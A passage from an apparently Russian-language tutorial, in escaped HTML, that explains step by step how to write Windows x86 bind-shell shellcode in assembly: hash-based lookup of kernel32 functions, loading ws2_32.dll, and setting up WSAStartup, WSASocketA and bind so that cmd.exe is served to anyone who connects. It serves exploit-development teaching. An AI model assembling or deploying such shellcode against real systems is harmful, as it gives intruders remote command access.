(\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f jnz find_function_loop). \u0415\u0441\u043b\u0438 \u0436\u0435 \u0445\u044d\u0448 \u0441\u043e\u0432\u043f\u0430\u043b, \u0442\u043e \u043f\u043e Ordinal Table \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0430\u0434\u0440\u0435\u0441 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u043d\u0430\u0448\u0435\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435 Address Table \u0438 \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u043c \u0430\u0434\u0440\u0435\u0441 \u043d\u0430\u0448\u0435\u0439 \u0438\u0441\u043a\u043e\u043c\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 (\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 Get address of Function). \u041f\u043e\u043d\u0430\u0447\u0430\u043b\u0443, \u0448\u0430\u0433 \u0441 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435\u043c \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0438\u0437 ordinal table \u043c\u043d\u0435 \u043a\u0430\u0437\u0430\u043b\u0441\u044f \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u044b\u043c \u0438 \u044f \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0430\u0445\u043e\u0434\u0438\u043b \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0443\u043c\u043d\u043e\u0436\u0430\u044f \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0441\u0447\u0451\u0442\u0447\u0438\u043a\u0430 (\u0432 ECX, \u043f\u043e\u0440\u044f\u0434\u043a\u043e\u0432\u044b\u0439 \u043d\u043e\u043c\u0435\u0440 \u0444\u0443\u043d\u043a\u0446\u0438\u0438) \u043d\u0430 4 (\u043a\u0430\u0436\u0434\u044b\u0435 4 \u0431\u0430\u0439\u0442\u0430 \u0434\u043b\u044f \u043d\u043e\u0432\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043f\u043e \u0442\u0430\u0431\u043b\u0438\u0446\u0435). \u041e\u0434\u043d\u0430\u043a\u043e \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e \u0434\u0430\u043b\u0435\u043a\u043e \u043d\u0435 \u0432\u0441\u0435\u0433\u0434\u0430, \u043f\u0435\u0440\u0435\u0434\u0435\u043b\u0430\u0432 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c ordinal table, \u043c\u043e\u0439 \u043a\u043e\u0434 \u0441\u0442\u0430\u043b \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c \u043d\u0443\u0436\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0432\u0441\u0435\u0433\u0434\u0430. \u0421\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432 EAX \u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u043c \u043a \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044e \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0433\u043e \u0442\u0435\u043b\u0430 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430.<\/p>\n<h4>\u0422\u0435\u043b\u043e \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430<\/h4>\n<p>  \u041a\u043e\u0433\u0434\u0430 \u043c\u044b \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b\u0438 \u0432\u0441\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0434\u043b\u044f \u043d\u0430\u0441 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u044b \u043f\u043e\u0438\u0441\u043a\u0430, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0430\u0442\u044c \u043a \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044e \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 \u043d\u0430\u0448\u0435\u0433\u043e \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430.<\/p>\n<p>  <i>\u041e\u0431\u0449\u0435\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430<\/i><\/p>\n<pre><code class=\"plaintext\">_main &lt;\u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u043e\u0432, \u0444\u043b\u0430\u0433\u043e\u0432, \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u0441\u0442\u0435\u043a\u043e\u0432\u043e\u0433\u043e \u0444\u0440\u0435\u0439\u043c\u0430&gt; &lt;find kernel32.dll&gt; &lt;find function name&gt; start &lt;\u0412\u044b\u0434\u0435\u043b\u044f\u0435\u043c \u043c\u0435\u0441\u0442\u043e \u0434\u043b\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445.&gt; ... <\/code><\/pre>\n<p>  \u041f\u0435\u0440\u0435\u0434 \u0440\u0430\u0431\u043e\u0442\u043e\u0439 \u043d\u0430\u0448\u0435\u0433\u043e \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u0436\u0435\u043b\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u043e\u0432 \u0438 \u0444\u043b\u0430\u0433\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0440\u0430\u0431\u043e\u0442\u044b, \u044d\u0442\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430 \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u043c \u043f\u0440\u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0438 \u043d\u0430\u0448\u0435\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0442\u0435\u043b\u043e \u0434\u0440\u0443\u0433\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b. \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<p>  <i>\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445<\/i><\/p>\n<pre><code class=\"plaintext\">start: \tsub esp, 0x28\t\t; 40 bytes = 10 local variables \t; 0x4 \t\tCreateProcessA  \t; 0x8\t\tLoadLibraryA \t; 0x0C\t\tExitProcess \t; 0x10\t\tGetProcAddress \t; 0x14\t\tws2_32.dll \t; 0x18\t\tWSAStartup \t; 0x1c\t\tWSASocketA \t; 0x20\t\tbind  \t; 0x24\t\tlisten \t; 0x28\t\taccept<\/code><\/pre>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0430\u0434\u0440\u0435\u0441\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0439: <\/p>\n<p>  <i>\u041f\u043e\u0438\u0441\u043a \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0439<\/i><\/p>\n<pre><code class=\"plaintext\">;===================================== ; \tFind addresses of functions in kernel32.dll ;===================================== \tcall find_kernel32\t; find kernel32.dll \tpush eax\t\t; save address of kernel32.dll \t; CreateProcessA \tpush 0x16b3fe72\t\t; hash of CreateProcessA \tcall find_function_name\t; \u0432 eax \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c return \tmov [ebp - 0x4], eax\t; place into local address of CreateProcessA \t \t; LoadLibraryA \tmov eax, 0xec0e4e8e\t; hash of LoadLibrary \tmov [esp], eax\t\t; argument to find_function_name \tcall find_function_name\t; find LoadLibraryA in kernel32.dll \tmov [ebp - 0x8], eax\t; save LoadLibrary address \t \t; ExitProcess \tmov eax, 0x73e2d87e\t; hash of Exit Process \tmov [esp], eax\t\t; argument to find_function_name \tcall find_function_name\t; find ExitProcess in kernel32.dll \tmov [ebp - 0x0C], eax\t; save ExitProcess address \t \t; GetProcAddress 0x7c0dfcaa \tmov eax, 0x7c0dfcaa\t; hash of GetProcAddress \tmov [esp], eax\t\t; argument to find_function_name \tcall find_function_name\t; find GetProcAddress in kernel32.dll \tmov [ebp - 0x10], eax\t; save GetProcAddress address<\/code><\/pre>\n<p>  <\/p>\n<ul>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/api\/processthreadsapi\/nf-processthreadsapi-createprocessa\" rel=\"nofollow\">CreateProcessA<\/a> \u2014 \u043d\u0443\u0436\u043d\u0430 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 cmd.exe.<\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/api\/libloaderapi\/nf-libloaderapi-loadlibrarya\" rel=\"nofollow\">LoadLibraryA<\/a> \u2014 \u043d\u0443\u0436\u043d\u0430 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432 \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e \u043d\u0430\u0448\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 ws2_32.dll. \u0424\u0443\u043d\u043a\u0446\u0438\u0438 \u0441\u043e\u043a\u0435\u0442\u043e\u0432 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432 \u043d\u0435\u0439. \u0411\u0435\u0437 \u0432\u044b\u0437\u043e\u0432\u0430 \u044d\u0442\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c ws2_32.dll \u043c\u044b \u043d\u0435 \u0441\u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438 \u0441\u043e\u043a\u0435\u0442\u043e\u0432.<\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/api\/processthreadsapi\/nf-processthreadsapi-exitprocess\" rel=\"nofollow\">ExitProcess<\/a> \u2014 \u043d\u0443\u0436\u043d\u0430 \u0434\u043b\u044f \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0437 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430<\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/api\/libloaderapi\/nf-libloaderapi-getprocaddress\" rel=\"nofollow\">GetProcAddress<\/a> \u2014 \u043d\u0443\u0436\u043d\u0430, \u0447\u0442\u043e\u0431\u044b \u0441\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043c\u0438 \u041e\u0421 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c \u0430\u0434\u0440\u0435\u0441\u0430 \u043d\u0443\u0436\u043d\u044b\u0445 \u043d\u0430\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a.<\/li>\n<\/ul>\n<p>  GetProcAddress \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u043d\u0443\u0436\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0431\u0435\u0437 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0430 \u043f\u043e\u0438\u0441\u043a\u0430. \u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0435\u0439 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b, \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0435\u0451 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432 EAX.<\/p>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u043c LoadLibraryA \u0441\u043e \u0441\u0442\u0440\u043e\u043a\u043e\u0439 ws2_32.dll \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430. \u0414\u0430\u043d\u043d\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 1 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u2014 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0443 \u0441 \u0438\u043c\u0435\u043d\u0435\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438. \u0412 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 ws2_32.dll.<\/p>\n<p>  <i>\u0417\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u043c\u043e\u0434\u0443\u043b\u044f ws2_32.dll<\/i><\/p>\n<pre><code class=\"plaintext\">;===================================== ; \tLoad ws2_32.dll ;===================================== \tpush 0x00003233\t\t; 32.dll \tpush 0x5f327377\t\t; ws2_ \tmov ebx, esp\t\t; place address in ebx \tpush ebx\t\t; pointer to string library \tcall [ebp - 0x8]\t; call LoadLibraryA \t \tmov [ebp - 0x14], eax\t; save address of ws2_32.dll<\/code><\/pre>\n<p>  \u0417\u0430\u0442\u0435\u043c \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0430\u0434\u0440\u0435\u0441\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0439:<\/p>\n<p>  <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/api\/winsock\/nf-winsock-wsastartup\" rel=\"nofollow\">WSAStartup<\/a> <br \/>   <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/api\/winsock2\/nf-winsock2-wsasocketa\" rel=\"nofollow\">WSASocketA <\/a><br \/>   <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/api\/winsock\/nf-winsock-bind\" rel=\"nofollow\">bind<\/a> <br \/>   <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/api\/winsock2\/nf-winsock2-listen\" rel=\"nofollow\">listen<\/a> <br \/>   <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/api\/winsock2\/nf-winsock2-accept\" rel=\"nofollow\">accept<\/a><\/p>\n<p>  \u041f\u043e\u0438\u0441\u043a \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 GetProcAddress.<\/p>\n<p>  \u0410\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b GetProcAddress:<br \/>   HMODULE hModule, \u2014 \u0430\u0434\u0440\u0435\u0441 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0438\u0449\u0435\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044e, \u0442.\u0435. \u0430\u0434\u0440\u0435\u0441 ws2_32.dll<br \/>   LPCSTR lpProcName \u2014 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u0438\u043c\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0438. \u041f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u043c \u0432\u044b\u0437\u043e\u0432\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u043c \u043d\u043e\u0432\u044b\u0439 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0443 \u0441 \u0438\u043c\u0435\u043d\u0435\u043c \u0438\u0441\u043a\u043e\u043c\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438.<\/p>\n<p>  <i>\u041f\u043e\u0438\u0441\u043a \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 ws2_32.dll<\/i><\/p>\n<pre><code class=\"plaintext\">;===================================== ; \tFind WSAStartup ;===================================== \tpush 0x00007075\t\t; Push WSAStartup \tpush 0x74726174 \tpush 0x53415357 \tmov ebx, esp \tpush ebx\t\t; pushed pointer to WSAStartup \tmov eax, [ebp - 0x14]\t; address of ws2_32.dll \tpush eax \tcall [ebp - 0x10]\t; call GetProcAddress \tmov [ebp - 0x18], eax\t; save address of WSAStartup  ;===================================== ;\tFind WSASocketA ;===================================== \tpush 0x00004174\t\t; push WSASocketA \tpush 0x656b636f \tpush 0x53415357 \tmov ebx, esp \tpush ebx\t\t; pointer to string function -&gt; WSASocketA \tmov eax, [ebp - 0x14]\t; address of ws2_32.dll \tpush eax\t\t; address of ws2_32.dll to stack \tcall [ebp - 0x10]\t; call GetProcAddress \tmov [ebp - 0x1c], eax\t; save address of WSASocketA \t ;===================================== ;\tFind bind ;===================================== \txor eax, eax \tpush eax \tpush 0x646e6962\t\t; push bind \tmov ebx, esp \tpush ebx \tmov eax, [ebp - 0x14]\t; address of ws2_32.dll \tpush eax\t\t; pointer to address \tcall [ebp - 0x10]\t; GetProcAddress \tmov [ebp - 0x20], eax\t; save address of ws2_32.bind  ;===================================== ;\tFind listen ;===================================== \tpush 0x00006e65\t\t; listen \tpush 0x7473696c \tmov ebx, esp \tpush ebx \tmov eax, [ebp - 0x14]\t; address of ws2_32.dll \tpush eax\t\t; pointer to address \tcall [ebp - 0x10]\t; GetProcAddress \tmov [ebp - 0x24], eax\t; save address of ws2_32.listen  ;===================================== ;\tFind accept ;===================================== \tpush 0x00007470\t; accept \tpush 0x65636361 \tmov ebx, esp \tpush ebx \tmov eax, [ebp - 0x14]\t; address of ws2_32.dll \tpush eax\t\t; pointer to address \tcall [ebp - 0x10]\t; GetProcAddress \tmov [ebp - 0x28], eax\t; save address of ws2_32.accept<\/code><\/pre>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c Winsock DLL \u043d\u0430\u0448\u0438\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c, \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 ws2_32.dll, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a: WSASocket, bind, listen, accept. \u041f\u043e\u043c\u043d\u0438\u043c, \u0447\u0442\u043e \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u0434\u043b\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u044e\u0442\u0441\u044f \u0432 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u043e\u043c\u0435\u0449\u0430\u044e\u0442\u0441\u044f \u0432 \u0441\u0442\u044d\u043a. \u0412\u044b\u0437\u044b\u0432\u0430\u0435\u043c WSAStartup.<\/p>\n<p>  \u0410\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b WSAStartup:<\/p>\n<p>  WORD wVersionRequired \u2014 \u0432\u0435\u0440\u0441\u0438\u044f \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 Windows Sockets. \u0423\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u0432 0x00000202;<br \/>   LPWSADATA lpWSAData \u2014 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u0438, \u0432 \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0431\u0443\u0434\u0443\u0442 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0434\u0435\u0442\u0430\u043b\u0438 \u0438\u043c\u043f\u043b\u0435\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 Windows Socket. \u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0442\u0430\u043a\u0443\u044e \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u0438 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 400 \u0431\u0430\u0439\u0442 (\u0438\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043a\u043e\u0439 \u0440\u0430\u0437\u043c\u0435\u0440 \u0443 \u044d\u0442\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b) \u0438 \u043e\u0442\u0434\u0430\u0442\u044c \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u043d\u0435\u0451.<\/p>\n<p>  <i>\u0412\u044b\u0437\u043e\u0432 WSAStartUP<\/i><\/p>\n<pre><code class=\"plaintext\">;===================================== ;\tCall WSAStartup ;===================================== \txor ecx, ecx \tmov cx, 400\t\t; Create space for WSAdata structure. \tsub esp, ecx \tmov ebx, esp \tmov cx, 0x00000202\t; version for WSAstartup \tpush ebx \tpush ecx \tcall [ebp - 0x18]\t; Call WSAStartup<\/code><\/pre>\n<p>  \u0417\u0430\u0442\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u0451\u043c \u0441\u043e\u043a\u0435\u0442 WSASocketA.<\/p>\n<p>  \u0410\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b WSASocketA:<\/p>\n<p>  int af \u2014 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430 \u0430\u0434\u0440\u0435\u0441\u043e\u0432. \u0411\u0443\u0434\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c IPv4, \u043f\u043e\u0442\u043e\u043c\u0443 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c 2;<br \/>   int type \u2014 \u0442\u0438\u043f \u0441\u043e\u043a\u0435\u0442\u0430. \u041d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442 SOCK_STREAM, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0445\u043e\u0442\u0438\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c TCP \u2014 1;<br \/>   int protocol \u2014 \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c \u0432 0;<br \/>   LPWSAPROTOCOL_INFOA lpProtocolInfo \u2014 \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c \u0432 0;<br \/>   GROUP g \u2014 \u0433\u0440\u0443\u043f\u043f\u0430 \u0441\u043e\u043a\u0435\u0442\u043e\u0432, \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0441\u043e\u043a\u0435\u0442. \u0417\u0434\u0435\u0441\u044c \u0442\u0430\u043a\u0436\u0435 \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c 0;<br \/>   DWORD dwFlags \u2014 \u043d\u0430\u043c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0434\u043b\u044f \u0441\u043e\u043a\u0435\u0442\u0430 \u043d\u0435 \u043d\u0443\u0436\u043d\u044b, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u043d \u0440\u0430\u0432\u0435\u043d 0.<\/p>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044e WSASocketA, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440 \u0441\u043e\u043a\u0435\u0442\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043e\u0441\u0442\u0430\u0432\u0438\u0442 \u0432 EAX, \u0435\u0433\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c.<\/p>\n<p>  <i>\u0412\u044b\u0437\u043e\u0432 WSASocketA<\/i><\/p>\n<pre><code class=\"plaintext\">;===================================== ;\tCreate Socket ;===================================== \txor eax, eax \tpush eax\t\t\t; dwFlags \tpush eax\t\t\t; g \tpush eax\t\t\t; lpProtocolInfo \tpush eax\t\t\t; protocol \tinc eax \tpush eax\t\t\t; type = SOCK_STREAM = 1 \tinc eax \tpush eax\t\t\t; af = AF_INET = 2 \tcall [ebp - 0x1c]\t\t; Call WSASocketA \tmov esi, eax\t\t\t; save socket descriptor<\/code><\/pre>\n<p>  \u0421\u043b\u0435\u0434\u043e\u043c \u0438\u0434\u0451\u0442 \u0432\u044b\u0437\u043e\u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 bind.<\/p>\n<p>  \u0415\u0451 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0441\u0432\u044f\u0437\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u043a\u0435\u0442\u0430 \u0441 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u0430\u0434\u0440\u0435\u0441\u043e\u043c.<\/p>\n<p>  \u0410\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b bind:<br \/>   SOCKET s, \u2014 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440 \u0441\u043e\u043a\u0435\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u044b \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u043c \u043a \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443. \u041c\u044b \u0435\u0433\u043e 